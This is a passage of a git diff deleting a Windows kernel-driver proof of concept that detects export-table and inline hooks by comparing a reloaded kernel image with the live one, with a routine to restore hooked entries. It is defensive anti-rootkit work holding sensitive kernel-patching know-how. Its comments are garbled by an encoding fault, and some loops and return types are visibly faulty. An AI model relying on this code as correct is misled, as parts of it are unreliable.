- EMARCH_ENC_I17_IC_SIZE_X,
- EMARCH_ENC_I17_IC_INST_WORD_POS_X,
- EMARCH_ENC_I17_IC_VAL_POS_X);
- EXT_IMM64(Value64,
- (PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X,
- EMARCH_ENC_I17_IMM41a_SIZE_X,
- EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM41a_VAL_POS_X);
-
- EXT_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X),
- EMARCH_ENC_I17_IMM41b_SIZE_X,
- EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM41b_VAL_POS_X);
- EXT_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X),
- EMARCH_ENC_I17_IMM41c_SIZE_X,
- EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM41c_VAL_POS_X);
- EXT_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X),
- EMARCH_ENC_I17_SIGN_SIZE_X,
- EMARCH_ENC_I17_SIGN_INST_WORD_POS_X,
- EMARCH_ENC_I17_SIGN_VAL_POS_X);
- //
- // Update 64-bit address
- //
-
- Value64+=Diff;
-
- //
- // Insert IMM64 into bundle
- //
-
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X),
- EMARCH_ENC_I17_IMM7B_SIZE_X,
- EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM7B_VAL_POS_X);
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X),
- EMARCH_ENC_I17_IMM9D_SIZE_X,
- EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM9D_VAL_POS_X);
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X),
- EMARCH_ENC_I17_IMM5C_SIZE_X,
- EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM5C_VAL_POS_X);
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X),
- EMARCH_ENC_I17_IC_SIZE_X,
- EMARCH_ENC_I17_IC_INST_WORD_POS_X,
- EMARCH_ENC_I17_IC_VAL_POS_X);
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X),
- EMARCH_ENC_I17_IMM41a_SIZE_X,
- EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM41a_VAL_POS_X);
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X),
- EMARCH_ENC_I17_IMM41b_SIZE_X,
- EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM41b_VAL_POS_X);
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X),
- EMARCH_ENC_I17_IMM41c_SIZE_X,
- EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X,
- EMARCH_ENC_I17_IMM41c_VAL_POS_X);
- INS_IMM64(Value64,
- ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X),
- EMARCH_ENC_I17_SIGN_SIZE_X,
- EMARCH_ENC_I17_SIGN_INST_WORD_POS_X,
- EMARCH_ENC_I17_SIGN_VAL_POS_X);
- break;
-
- case IMAGE_REL_BASED_DIR64:
-
- *(ULONGLONG UNALIGNED *)FixupVA += Diff;
-
- break;
-
- case IMAGE_REL_BASED_MIPS_JMPADDR :
- //
- // JumpAddress - (32-bits) relocate a MIPS jump address.
- //
- Temp = (*(PULONG)FixupVA & 0x3ffffff) << 2;
- Temp += (ULONG) Diff;
- *(PULONG)FixupVA = (*(PULONG)FixupVA & ~0x3ffffff) |
- ((Temp >> 2) & 0x3ffffff);
-
- break;
-
- case IMAGE_REL_BASED_ABSOLUTE :
- //
- // Absolute - no fixup required.
- //
- break;
-
- case IMAGE_REL_BASED_SECTION :
- //
- // Section Relative reloc. Ignore for now.
- //
- break;
-
- case IMAGE_REL_BASED_REL32 :
- //
- // Relative intrasection. Ignore for now.
- //
- break;
-
- default :
- //
- // Illegal - illegal relocation type.
- //
-
- return (PIMAGE_BASE_RELOCATION)NULL;
- }
- ++NextOffset;
- }
- return (PIMAGE_BASE_RELOCATION)NextOffset;
-}
-
-
-/*
-NtHeader
-*/
-NTSTATUS
- NTAPI
- RtlImageNtHeaderEx(
- ULONG Flags,
- PVOID Base,
- ULONG64 Size,
- OUT PIMAGE_NT_HEADERS * OutHeaders
- )
-
-{
- PIMAGE_NT_HEADERS NtHeaders = 0;
- ULONG e_lfanew = 0;
- BOOLEAN RangeCheck = 0;
- NTSTATUS Status = 0;
- const ULONG ValidFlags =
- RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK;
-
- if (OutHeaders != NULL) {
- *OutHeaders = NULL;
- }
- if (OutHeaders == NULL) {
- Status = STATUS_INVALID_PARAMETER;
- goto Exit;
- }
- if ((Flags & ~ValidFlags) != 0) {
- Status = STATUS_INVALID_PARAMETER;
- goto Exit;
- }
- if (Base == NULL || Base == (PVOID)(LONG_PTR)-1) {
- Status = STATUS_INVALID_PARAMETER;
- goto Exit;
- }
-
- RangeCheck = ((Flags & RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK) == 0);
- if (RangeCheck) {
- if (Size < sizeof(IMAGE_DOS_HEADER)) {
- Status = STATUS_INVALID_IMAGE_FORMAT;
- goto Exit;
- }
- }
-
- //
- // Exception handling is not available in the boot loader, and exceptions
- // were not historically caught here in kernel mode. Drivers are considered
- // trusted, so we can't get an exception here due to a bad file, but we
- // could take an inpage error.
- //
-#define EXIT goto Exit
- if (((PIMAGE_DOS_HEADER)Base)->e_magic != IMAGE_DOS_SIGNATURE) {
- Status = STATUS_INVALID_IMAGE_FORMAT;
- EXIT;
- }
- e_lfanew = ((PIMAGE_DOS_HEADER)Base)->e_lfanew;
- if (RangeCheck) {
- if (e_lfanew >= Size
-#define SIZEOF_PE_SIGNATURE 4
- || e_lfanew >= (MAXULONG - SIZEOF_PE_SIGNATURE - sizeof(IMAGE_FILE_HEADER))
- || (e_lfanew + SIZEOF_PE_SIGNATURE + sizeof(IMAGE_FILE_HEADER)) >= Size
- ) {
- Status = STATUS_INVALID_IMAGE_FORMAT;
- EXIT;
- }
- }
-
- NtHeaders = (PIMAGE_NT_HEADERS)((PCHAR)Base + e_lfanew);
-
- //
- // In kernelmode, do not cross from usermode address to kernelmode address.
- //
- if (Base < MM_HIGHEST_USER_ADDRESS) {
- if ((PVOID)NtHeaders >= MM_HIGHEST_USER_ADDRESS) {
- Status = STATUS_INVALID_IMAGE_FORMAT;
- EXIT;
- }
- //
- // Note that this check is slightly overeager since IMAGE_NT_HEADERS has
- // a builtin array of data_directories that may be larger than the image
- // actually has. A better check would be to add FileHeader.SizeOfOptionalHeader,
- // after ensuring that the FileHeader does not cross the u/k boundary.
- //
- if ((PVOID)((PCHAR)NtHeaders + sizeof (IMAGE_NT_HEADERS)) >= MM_HIGHEST_USER_ADDRESS) {
- Status = STATUS_INVALID_IMAGE_FORMAT;
- EXIT;
- }
- }
-
- if (NtHeaders->Signature != IMAGE_NT_SIGNATURE) {
- Status = STATUS_INVALID_IMAGE_FORMAT;
- EXIT;
- }
- Status = STATUS_SUCCESS;
-
-Exit:
- if (NT_SUCCESS(Status)) {
- *OutHeaders = NtHeaders;
- }
- return Status;
-}
-
-//
-// PIMAGE_NT_HEADERS
-// NTAPI
-// RtlImageNtHeader(
-// PVOID Base
-// )
-// {
-// PIMAGE_NT_HEADERS NtHeaders = NULL;
-// (VOID)RtlImageNtHeaderEx(RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK, Base, 0, &NtHeaders);
-// return NtHeaders;
-// }
-//
-//
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.h
deleted file mode 100644
index afb80959..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/FixRelocation.h
+++ /dev/null
@@ -1,33 +0,0 @@
-#include "Reload.h"
-
-
-
-
-BOOLEAN
- FixBaseRelocTable (
- PVOID NewImageBase,
- DWORD ExistImageBase
- );
-
-PIMAGE_BASE_RELOCATION
- LdrProcessRelocationBlockLongLong(
- IN ULONG_PTR VA,
- IN ULONG SizeOfBlock,
- IN PUSHORT NextOffset,
- IN LONGLONG Diff
- );
-
-NTSTATUS
- NTAPI
- RtlImageNtHeaderEx(
- ULONG Flags,
- PVOID Base,
- ULONG64 Size,
- OUT PIMAGE_NT_HEADERS * OutHeaders
- );
-
-PIMAGE_NT_HEADERS
- NTAPI
- RtlImageNtHeader(
- PVOID Base
- );
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.c
deleted file mode 100644
index db2cbabe..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.c
+++ /dev/null
@@ -1,694 +0,0 @@
-#include "KernelHookCheck.h"
-#include "libdasm.h"
-#include "Common.h"
-#include "Reload.h"
-
-ULONG IntHookCount; //¼Hook
-
-extern DWORD OriginalKiServiceTable;
-extern PSERVICE_DESCRIPTOR_TABLE OriginalServiceDescriptorTable;
-
-extern ULONG_PTR SystemKernelModuleBase;
-extern ULONG_PTR SystemKernelModuleSize;
-extern ULONG_PTR ImageModuleBase;
-
-
-BOOLEAN KernelHookCheck(PINLINEHOOKINFO InlineHookInfo)
-{
- NTSTATUS Status = STATUS_UNSUCCESSFUL;
-
- PIMAGE_NT_HEADERS NtHeader;
- PIMAGE_EXPORT_DIRECTORY ExportTable;
- ULONG* FunctionAddresses;
- ULONG* FunctionNames;
- USHORT* FunctionIndexs;
- ULONG ulIndex;
- ULONG i;
- CHAR* szFunctionName;
- SIZE_T ViewSize=0;
- ULONG_PTR ulFunctionAddress;
-
- BOOL bIsZwFunction = FALSE;
-
- ULONG ulOldAddress;
- ULONG ulReloadAddress;
-
- PUCHAR ulTemp;
-
- __try{
- NtHeader = RtlImageNtHeader((PVOID)ImageModuleBase);
- if (NtHeader && NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress){
- ExportTable =(IMAGE_EXPORT_DIRECTORY*)((ULONG_PTR)ImageModuleBase + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
- FunctionAddresses = (ULONG*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfFunctions);
- FunctionNames = (ULONG*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfNames);
- FunctionIndexs = (USHORT*)((ULONG_PTR)ImageModuleBase + ExportTable->AddressOfNameOrdinals);
- for(i = 0; i < ExportTable->NumberOfNames; i++)
- {
- szFunctionName = (LPSTR)((ULONG_PTR)ImageModuleBase + FunctionNames[i]);
-
- ulIndex = FunctionIndexs[i];
- ulFunctionAddress = (ULONG_PTR)((ULONG_PTR)ImageModuleBase + FunctionAddresses[ulIndex]);
- // ulIndex=*(ULONG*)(ulFunctionAddress+1); //32 bit 1 64 bit 4 //
-
-
- //ڷZwϵк ƫƵϵͳĸúַ
- ulReloadAddress = ulFunctionAddress;
- ulOldAddress = ulReloadAddress - (ULONG)ImageModuleBase + SystemKernelModuleBase;
-
- if (!ulOldAddress ||
- !MmIsAddressValid((PVOID)ulOldAddress) ||
- !ulReloadAddress ||
- !MmIsAddressValid((PVOID)ulReloadAddress))
- {
- continue;
- }
- bIsZwFunction = FALSE;
-
- //һһcallĺhook
- if (*szFunctionName == 'Z' &&
- *(szFunctionName+1) == 'w')
- {
- bIsZwFunction = TRUE;
- ulIndex = *((WORD*)(ulFunctionAddress + 1)); //õ
-
- if (ulIndex > 0 &&
- ulIndex <= OriginalServiceDescriptorTable->TableSize)
- {
- //Zwϵк ϵͳNtos ӦNtĵַ
- ulReloadAddress = OriginalServiceDescriptorTable->ServiceTable[ulIndex];
- ulOldAddress = ulReloadAddress - (ULONG)ImageModuleBase + SystemKernelModuleBase;
- }
- }
- if (bIsZwFunction)
- {
- // bIsZwFunction == TRUE ЧһµַЧ
- if (!ulOldAddress ||
- !MmIsAddressValid((PVOID)ulOldAddress) ||
- !ulReloadAddress ||
- !MmIsAddressValid((PVOID)ulReloadAddress))
- {
- continue;
- }
- }
- else //һ㺯ֻɨZwͷģֻɨδ
- {
- GetNextFunctionAddress(ImageModuleBase,ulOldAddress,szFunctionName,InlineHookInfo);
- }
-
- ulTemp = NULL;
-
- //ZwеNt
- //жǷNtos Hook
- //ulOldAddress Ǹصַ - Base + KernelBase ĵַ
- ulTemp = (PUCHAR)GetEatHook(ulOldAddress,i,SystemKernelModuleBase,SystemKernelModuleSize); //ȽEAT Hook
-
- if(ulTemp)
- {//Hook
- FillInlineHookInfo(ulTemp,InlineHookInfo,szFunctionName,ulOldAddress,1); //EAT Hook 1
- }
- //ǷInlineHook
- CheckFuncByOpcode((PVOID)ulReloadAddress,InlineHookInfo,szFunctionName,(PVOID)ulOldAddress);
-
- }
- }
- }__except(EXCEPTION_EXECUTE_HANDLER)
- {
- }
- return STATUS_SUCCESS;
-}
-VOID FillInlineHookInfo(PUCHAR ulTemp,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,ULONG ulOldAddress,ULONG HookType)
-{
- ULONG ulHookModuleBase;
- ULONG ulHookModuleSize;
- char lpszHookModuleImage[256];
- ULONG IntHookCount = InlineHookInfo->ulCount;
-
-
- memset(lpszHookModuleImage,0,sizeof(lpszHookModuleImage));
- if (!IsAddressInSystem(
- (ULONG)ulTemp,
- &ulHookModuleBase,
- &ulHookModuleSize,
- lpszHookModuleImage))
- {
- memset(lpszHookModuleImage,0,sizeof(lpszHookModuleImage));
- strcat(lpszHookModuleImage,"Unknown4");
- ulHookModuleBase = 0;
- ulHookModuleSize = 0;
- }
- InlineHookInfo->InlineHook[IntHookCount].ulMemoryHookBase = (ULONG)ulTemp;
- memset(InlineHookInfo->InlineHook[IntHookCount].lpszFunction,0,sizeof(InlineHookInfo->InlineHook[IntHookCount].lpszFunction));
- memset(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage,0,sizeof(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage));
-
- memcpy(InlineHookInfo->InlineHook[IntHookCount].lpszFunction,szFunctionName,strlen(szFunctionName));
- memcpy(InlineHookInfo->InlineHook[IntHookCount].lpszHookModuleImage,lpszHookModuleImage,strlen(lpszHookModuleImage));
-
- InlineHookInfo->InlineHook[IntHookCount].ulMemoryFunctionBase = (ULONG)ulOldAddress;
- InlineHookInfo->InlineHook[IntHookCount].ulHookModuleBase = ulHookModuleBase;
- InlineHookInfo->InlineHook[IntHookCount].ulHookModuleSize = ulHookModuleSize;
- InlineHookInfo->InlineHook[IntHookCount].ulHookType = HookType; //eat hook 1 Inline Hook 0
- IntHookCount++;
- InlineHookInfo->ulCount++;
-}
-
-
-VOID CheckFuncByOpcode(PVOID ulReloadAddress,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,PVOID ulOldAddress)
-{
- INSTRUCTION Inst;
- INSTRUCTION Instb;
- ULONG ulHookFunctionAddress;
- size_t ulCodeSize;
- PUCHAR p;
- PUCHAR ulTemp;
- int Flagss;
- if (GetFunctionCodeSize(ulOldAddress) == GetFunctionCodeSize(ulReloadAddress) &&
- memcmp(ulReloadAddress,ulOldAddress,GetFunctionCodeSize(ulOldAddress)) != 0)
- {//Hook
- //ʼɨhooksss
- ulCodeSize = GetFunctionCodeSize(ulOldAddress);
-
- for (p = (PUCHAR)ulOldAddress ;(ULONG)p < (ULONG)ulOldAddress+ulCodeSize; p++)
- {
- //۰ɨ裬ǰһһʼɨһ
- if (memcmp(ulReloadAddress,ulOldAddress,ulCodeSize/2) == 0)
- {
- ulCodeSize = ulCodeSize + ulCodeSize/2;
- continue;
- }
- if (*p == 0xcc ||
- *p == 0xc2)
- {
- break;
- }
- ulHookFunctionAddress = (*(PULONG)(p + 1) + (ULONG)p + 5); //õhookĵַ
- if (!MmIsAddressValid((PVOID)ulHookFunctionAddress))
- {
- continue;
- }
- ulTemp = NULL;
- get_instruction(&Inst,p,MODE_32);
- switch (Inst.type)
- {
- case INSTRUCTION_TYPE_JMP:
- if(Inst.opcode==0xFF&&Inst.modrm==0x25)
- {
- //DIRECT_JMP
- ulTemp = (PUCHAR)Inst.op1.displacement;
- }
- else if (Inst.opcode==0xEB)
- {
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- else if(Inst.opcode==0xE9)
- {
- //RELATIVE_JMP;
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- break;
- case INSTRUCTION_TYPE_CALL:
- if(Inst.opcode==0xFF&&Inst.modrm==0x15)
- {
- //DIRECT_CALL
- ulTemp = (PUCHAR)Inst.op1.displacement;
- }
- else if (Inst.opcode==0x9A)
- {
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- else if(Inst.opcode==0xE8)
- {
- //RELATIVE_CALL;
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- break;
- case INSTRUCTION_TYPE_PUSH:
- if(!RMmIsAddressValid((PVOID)(p)))
- {
- break;
- }
- get_instruction(&Instb,(BYTE*)(p),MODE_32);
- if(Instb.type == INSTRUCTION_TYPE_RET)
- {
- //StartAddress+len-inst.length-instb.length;
- ulTemp = (PUCHAR)Instb.op1.displacement;
- }
- break;
- }
- if (ulTemp &&
- RMmIsAddressValid(ulTemp) &&
- RMmIsAddressValid(p)) //hookĵַҲҪЧſŶ
- {
- if ((ULONG)ulTemp > SystemKernelModuleBase &&
- (ULONG)ulTemp < SystemKernelModuleBase+SystemKernelModuleSize) //̫Ҳ
- {
- goto Next;
- }
- //ulTempҲС SystemKernelModuleBase
- if ((ULONG)ulTemp < SystemKernelModuleBase)
- {
- goto Next;
- }
- //KdPrint(("%08x-%08x-%08x",p,ulTemp,(SystemKernelModuleBase + SystemKernelModuleSize + 0xfffffff)));
-
- if (*(ULONG *)ulTemp == 0x00000000 ||
- *(ULONG *)ulTemp == 0x00000005 ||
- *(ULONG *)ulTemp == 0xc0000012)
- {
- goto Next;
- }
- Flagss = 0;
- __asm{
- mov esi,ulTemp
- mov ax,word ptr [esi]
- cmp ax,0x0000
- jz Cont//add byte ptr [eax],al
- //
- mov Flagss,1
-Cont:
- }
- if (Flagss != 1)
- goto Next;
-
- ulTemp = ulTemp+0x5;
- //һ¶
- if (*ulTemp == 0xe9 ||
- *ulTemp == 0xe8)
- {
- ulTemp = (PUCHAR)(*(PULONG)(ulTemp+1)+(ULONG)(ulTemp+5));
- }
- FillInlineHookInfo(ulTemp,InlineHookInfo,szFunctionName,(ULONG)p,0); //Inline Hook
-Next:
- _asm{nop}
- }
- }
- }
-}
-
-//ȡһ0xe8 callinlinehookcheck
-ULONG GetNextFunctionAddress(ULONG ulNtDllModuleBase,ULONG ulOldAddress,char *functionName,PINLINEHOOKINFO InlineHookInfo)
-{
- ULONG ulCodeSize;
-
- ULONG ulNextFunCodeSize;
- ULONG ulNextFunReloadCodeSize;
- PUCHAR i;
-
- PUCHAR ulNextFunctionAddress = NULL;
- PUCHAR ulReloadNextFunctionAddress = NULL;
- BOOL bRetOK = FALSE;
- PUCHAR ulTemp;
- ULONG ulHookFunctionAddress;
- PUCHAR p;
-
- INSTRUCTION Inst;
- INSTRUCTION Instb;
-
- char lpszHookModuleImage[256];
- ULONG ulHookModuleBase;
- ULONG ulHookModuleSize;
- int Flagss;
-
- if (!MmIsAddressValid((PVOID)ulOldAddress))
- {
- return bRetOK;
- }
- __try
- {
- ulCodeSize = GetFunctionCodeSize((PVOID)ulOldAddress);
- for (i=(PUCHAR)ulOldAddress;i < i+ulCodeSize;i++)
- {
- //ɨת
- if (*i == 0xe8)
- {
- ulNextFunctionAddress = (PUCHAR)(*(PULONG)(i+1)+(ULONG)(i+5));
- if (MmIsAddressValid((PVOID)ulNextFunctionAddress))
- {
- //жһǷǵ
- if (IsFunctionInExportTable(ulNtDllModuleBase,(ULONG)ulNextFunctionAddress))
- {
- return 0;
- }
- //hook ɨ
- ulReloadNextFunctionAddress = ulNextFunctionAddress - SystemKernelModuleBase + ImageModuleBase;
- if (MmIsAddressValid(ulReloadNextFunctionAddress) &&
- MmIsAddressValid(ulNextFunctionAddress))
- {
- ulNextFunCodeSize = GetFunctionCodeSize(ulNextFunctionAddress);
- ulNextFunReloadCodeSize = GetFunctionCodeSize(ulReloadNextFunctionAddress);
-
- if (ulNextFunCodeSize == ulNextFunReloadCodeSize &&
- memcmp(ulReloadNextFunctionAddress,ulNextFunctionAddress,ulNextFunCodeSize) != 0)
- {
- //hook
- for (p = (PUCHAR)ulNextFunctionAddress ;(ULONG)p < (ULONG)ulNextFunctionAddress+ulNextFunCodeSize; p++)
- {
- //۰ɨ裬ǰһһʼɨһ
- if (memcmp(ulReloadNextFunctionAddress, ulNextFunctionAddress,ulNextFunCodeSize/2) == 0)
- {
- ulNextFunCodeSize = ulNextFunCodeSize + ulNextFunCodeSize/2;
- continue;
- }
- //Ƿ
- if (*p == 0xcc ||
- *p == 0xc2)
- {
- break;
- }
- ulHookFunctionAddress = (*(PULONG)(p + 1) + (ULONG)p + 5); //õַ
- if (!RMmIsAddressValid((PVOID)ulHookFunctionAddress))
- {
- continue;
- }
- ulTemp = NULL;
- get_instruction(&Inst,p,MODE_32);
- switch (Inst.type)
- {
- case INSTRUCTION_TYPE_JMP:
- if(Inst.opcode==0xFF&&Inst.modrm==0x25)
- {
- //DIRECT_JMP
- ulTemp = (PUCHAR)Inst.op1.displacement;
- }
- else if (Inst.opcode==0xEB)
- {
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- else if(Inst.opcode==0xE9)
- {
- //RELATIVE_JMP;
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- break;
- case INSTRUCTION_TYPE_CALL:
- if(Inst.opcode==0xFF&&Inst.modrm==0x15)
- {
- //DIRECT_CALL
- ulTemp = (PUCHAR)Inst.op1.displacement;
- }
- else if (Inst.opcode==0x9A)
- {
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- else if(Inst.opcode==0xE8)
- {
- //RELATIVE_CALL;
- ulTemp = (PUCHAR)(p+Inst.op1.immediate);
- }
- break;
- case INSTRUCTION_TYPE_PUSH:
- if(!RMmIsAddressValid((PVOID)(p)))
- {
- break;
- }
- get_instruction(&Instb,(BYTE*)(p),MODE_32);
- if(Instb.type == INSTRUCTION_TYPE_RET)
- {
- //StartAddress+len-inst.length-instb.length;
- ulTemp = (PUCHAR)Instb.op1.displacement;
- }
- break;
- }
- if (ulTemp &&
- MmIsAddressValid(ulTemp) &&
- MmIsAddressValid(p)) //hookĵַҲҪЧſŶ
- {
- if ((ULONG)ulTemp > SystemKernelModuleBase &&
- (ULONG)ulTemp < SystemKernelModuleBase+SystemKernelModuleSize) //̫Ҳ
- {
- goto Next;
- }
- //ulTempҲС SystemKernelModuleBase
- if ((ULONG)ulTemp < SystemKernelModuleBase)
- {
- goto Next;
- }
- if (*(ULONG *)ulTemp == 0x00000000 ||
- *(ULONG *)ulTemp == 0x00000005)
- {
- goto Next;
- }
- Flagss = 0;
- __asm{
- mov esi,ulTemp
- mov ax,word ptr [esi]
- cmp ax,0x0000
- jz Cont//add byte ptr [eax],al
- mov Flagss,1
-Cont:
- }
- if (Flagss != 1)
- goto Next;
-
- ulTemp = ulTemp+0x5;
- //һ¶
- if (*ulTemp == 0xe9 ||
- *ulTemp == 0xe8)
- {
- ulTemp = (PUCHAR)(*(PULONG)(ulTemp+1)+(ULONG)(ulTemp+5));
- }
- FillInlineHookInfo(ulTemp+0x5,InlineHookInfo,functionName,(ULONG)p,2);
-Next:
- _asm{nop}
- }
- }
- }
- }
- }
- }
- //
- if (*i == 0xcc ||
- *i == 0xc2)
- {
- return 0;
- }
- }
-
- }__except(EXCEPTION_EXECUTE_HANDLER){
-
- }
-
- return 0;
-}
-
-
-
-
-
-
-
-
-
-BOOLEAN IsFunctionInExportTable(ULONG ulModuleBase,ULONG ulFunctionAddress)
-{
-
- PIMAGE_DOS_HEADER pDosHeader;
- PIMAGE_NT_HEADERS NtDllHeader;
- IMAGE_OPTIONAL_HEADER opthdr;
- DWORD* arrayOfFunctionAddresses;
- DWORD* arrayOfFunctionNames;
- WORD* arrayOfFunctionOrdinals;
- DWORD functionOrdinal;
- DWORD Base, x, functionAddress,ulOldAddress;
- IMAGE_EXPORT_DIRECTORY *pExportTable;
- char *functionName;
-
-
- __try
- {
- pDosHeader=(PIMAGE_DOS_HEADER)ulModuleBase;
- if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return FALSE;
- }
- NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);
- if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return FALSE;
- }
- opthdr = NtDllHeader->OptionalHeader;
- pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ
- arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ
- arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //
- arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);
-
- Base = pExportTable->Base;
-
- for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ɨ
- {
- //functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]);
- functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
- functionAddress = (DWORD)((BYTE*)ulModuleBase + arrayOfFunctionAddresses[functionOrdinal]);
- //KdPrint(("%08x:%s\r\n",functionAddress,functionName));
- //ulOldAddress = GetSystemRoutineAddress(0,functionName);
- ulOldAddress = functionAddress - ulModuleBase + SystemKernelModuleBase;
- if (ulFunctionAddress == ulOldAddress)
- {
- //ǵ˳
- return TRUE;
- }
- }
-
- }__except(EXCEPTION_EXECUTE_HANDLER){
-
- }
- return FALSE;
-}
-
-
-BOOLEAN ReSetEatHook(CHAR *lpszFunction,ULONG ulReloadKernelModule,ULONG ulKernelModule)
-{
- ULONG ulModuleBase;
- PIMAGE_DOS_HEADER pDosHeader;
- PIMAGE_NT_HEADERS NtDllHeader;
- IMAGE_OPTIONAL_HEADER opthdr;
- DWORD* arrayOfFunctionAddresses;
- DWORD* arrayOfFunctionNames;
- WORD* arrayOfFunctionOrdinals;
- DWORD functionOrdinal;
- DWORD Base,x,functionAddress;
- IMAGE_EXPORT_DIRECTORY *pExportTable;
- char *functionName = NULL;
- BOOL bIsEatHooked = FALSE;
- int position;
- ULONG ulFunctionOrdinal;
-
- //ָʱ reloadImageModuleBase
- ulModuleBase = ulReloadKernelModule;
- pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase;
- if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew);
- if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE)
- {
- KdPrint(("failed to find NtHeader\r\n"));
- return 0;
- }
- opthdr = NtDllHeader->OptionalHeader;
- pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //õ
- arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //ַ
- arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //
- arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals);
-
- Base = pExportTable->Base;
-
- for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ɨ
- {
- functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]);
- ulFunctionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1;
- ulFunctionOrdinal = arrayOfFunctionAddresses[ulFunctionOrdinal];
-
- functionAddress = (DWORD)((BYTE*)ulModuleBase + ulFunctionOrdinal);
-
- if (_stricmp(lpszFunction,functionName) == 0)
- {
- KdPrint(("reload ulFunctionOrdinal:%08x:%s",ulFunctionOrdinal,functionName));
-
- //ʼָ
- ulModuleBase = ulKernelModule;
- pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase;
- if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
- {
